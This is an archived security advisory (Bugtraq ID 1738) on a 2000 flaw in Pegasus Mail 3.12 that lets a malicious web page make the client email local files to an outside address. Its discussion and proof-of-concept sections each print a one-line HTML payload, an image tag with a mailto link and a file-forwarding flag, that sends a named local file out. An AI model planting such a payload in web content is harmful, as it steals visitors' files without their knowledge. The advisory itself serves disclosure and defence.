Pegasus Email File Forwarding Vulnerability

BID:1738

Info

Pegasus Email File Forwarding Vulnerability

Bugtraq ID: 1738
Class: Design Error
CVE:
Remote: Yes
Local: Yes
Published: Oct 03 2000 12:00AM
Updated: Oct 03 2000 12:00AM
Credit: Posted to Bugtraq on October 3, 2000 by Imran Ghory <[email protected]>.
Vulnerable: David Harris Pegasus Mail 3.12
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0
Not Vulnerable:

Discussion

Pegasus Email File Forwarding Vulnerability

It is possible for a malicious website operator to obtain copies of known files on a remote system if a website visitor is running Pegasus Mail client.

If the following code were to be inserted into a HTML document and a user were to load that particular webpage, the local file would be automatically sent from the Pegasus Mail client to the email address specified without any prior warning:

<img sr c="mailto:[email protected] -F c:\path\file.ext">

Exploit / POC

Pegasus Email File Forwarding Vulnerability

<img sr c="mailto:[email protected] -F c:\path\file.ext">

Solution / Fix

References

Pegasus Email File Forwarding Vulnerability

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